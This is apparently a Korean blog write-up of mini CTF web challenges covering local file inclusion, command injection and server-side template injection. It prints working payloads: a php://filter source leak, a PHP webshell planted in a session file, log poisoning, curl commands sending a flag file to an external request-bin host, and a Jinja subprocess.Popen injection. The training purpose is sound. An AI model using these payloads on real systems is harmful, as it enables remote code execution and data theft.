security/화이트햇

Mini CTF - LFI, Command Injection, SSTI

민사민서 2024. 1. 9. 19:06

LFI1

- 공격벡터

file inclusion 되는구나 파악

lfiflag.phpflag를 출력해주지는 않기 때문에 code leak 하면 됨 => use php://filter

 

- exploit 과정

php://filter 를 이용해 base64 인코딩된 파일 컨텐츠를 가져올 수 있음

?p=php://filter/convert.base64-encode/resource=lfiflag.php 쿼리스트링으로 건네주면

PD9waHANCiRmbGFnID0gImZsYWd7eW91X25ldmVyX3NlZV90aGlzX2ZpbGUuLi53YWl0LHd1dD99Ijs=

이런 내용 출력되고

 

LFI2

- 공격벡터

 

서버의 루트 디렉터리 아래 readflag 바이너리 실행 후 그 결과 출력하면 됨

GET parameter로 받은 내용을 SESSION에 굳이 저장하는게 의심스러움

php는 기본적으로 session에 대한 파일을 서버 내에 파일로 저장함. 파일 이름은 sess_{$sessionid} 이런 규칙이고, sessionid는 쿠키의 PHPSESSION 값임

=>  세션파일이 저장되는 경로가 정해져있고, 파일 이름의 규칙도 통일되어있으므로 공격 easy

=>   php 엔진이 session 사용 위해 해당 파일에 접근할 수 있어야 하므로 권한 이슈 자유로움 (proc/self/environ, access_log, error_log 등은 권한/셋팅 등의 이슈로 성공률 희박)

(rubiya 멘토님의 블로그: https://blog.rubiya.kr/index.php/2018/11/28/rce-by-lfi-using-php-session-file-without-angle-bracket/)

 

RCE by lfi using php session file without angle bracket – blog.rubiya.kr

개요 lfi는 local file include 의 줄임말로 공격자가 원하는 파일을 include 시킴으로써 소스코드를 leak하거나 임의의 코드를 실행시키는것이 목적이다. include를 통해 원하는 코드를 실행시키려면 payloa

blog.rubiya.kr

 

- exploit 과정

session 파일이 어디 저장되는지 파악 위해 로컬에서 서버환경 구축해봄. lfi2.php 코드에 약간 코드 추가해 system command 입력받게 하였다

php -i | grep session.save_path 해서 session 파일 저장 경로 확인. (default/tmp)

보니까 /tmp 디렉터리 밑에 sess_{SESSID} 이런 식으로 생기더라

 

<?php echo system($_GET["cmd"]) ?> 이런 payload를 파라미터로 넘겨 세션파일에 저장해두고, 세션 삭제 후 새로운 세션을 발급받고, ?p=../../../../../../tmp/sess_{SESSID}&cmd=/readflag 이런 식으로 세션파일을 include해서 exploit 성공

 

- 새로 알게 된 내용: LFI to RCE using log file

/var/log/apache2 밑에 access_log , error_log 저장된다

만약 이런 로그파일들을 LFI 할 수 있다면(읽어올 권한이 있다면) 로그 파일을 이용한 RCE가 가능함

접속 시 GET 요청을 프록시 툴로 가로채 User-Agent 부분에 php 웹쉘 코드 삽입 (Log poisoning)

그 후 access_log 파일을 include하면 조작된 로그 파일로 RCE 가능하다!!

(근데 성공률 희박쓰)

 

Command Injection

- 공격벡터

cmd 파라미터로 커맨드 입력받을 수 있음. 실행 결과를 확인하지는 못하므로 외부 request bin으로 요청보내 leak 하면 될 듯.

curl https://en1qs6bppt79z.x.pipedream.net/ 하니까 제대로 GET 요청 옴, curl 설치되어 있는 듯

 

- exploit 과정

도커파일 읽어보면 root 아래 txt 파일 있다네

curl -X POST -d "fileContent=$(cat /command_injection_flag.txt)" https://en1qs6bppt79z.x.pipedream.net/

curl -X POST -d "@/command_injection_flag.txt" https://en1qs6bppt79z.x.pipedream.net/

 

둘 중 하나 실행시켜서 파일내용 leak

 

SSTI

- 공격벡터

template injection 취약점 발생한다

?name={{ 7*7 }} 이렇게 입력하면 템플릿 엔진이 user input을 코드로 해석하고 49가 출력됨

(https://me2nuk.com/SSTI-Vulnerability/)

os.system과 같은 함수의 경우 쉘 명령어 결과를 출력할 수 없기 때문에 subprocess.Popen 클래스를 사용하여 쉘 명령어 결과를 출력한다고 함

 

- exploit 과정

?name= {{ ‘’.__class__.__mro__[1].__subclasses__() }}

이렇게 클래스 리스트를 쭉 출력한 후 subprocess.Popen 클래스의 index 구하면 됨. 배열에서의 인덱스는 서버 환경마다 달라짐 => 해당 서버 환경의 경우 352번째

 

?name={{ ''.__class__.__mro__[1].__subclasses__()[352]('cat /ssti_flag.txt',shell=True,stdout=-

1).communicate() }} 이런 식으로 payload 날리면 된다

 

'security > 화이트햇' 카테고리의 다른 글

네트워크 기초  (0) 2024.01.11
웹해킹 문제 - Nodejs  (0) 2024.01.09
Mini CTF - SQLI  (0) 2024.01.09
Mini CTF - XSS, DOM Clobbering  (0) 2024.01.07
Mini CTF - XSS, DOM Clobbering  (0) 2024.01.07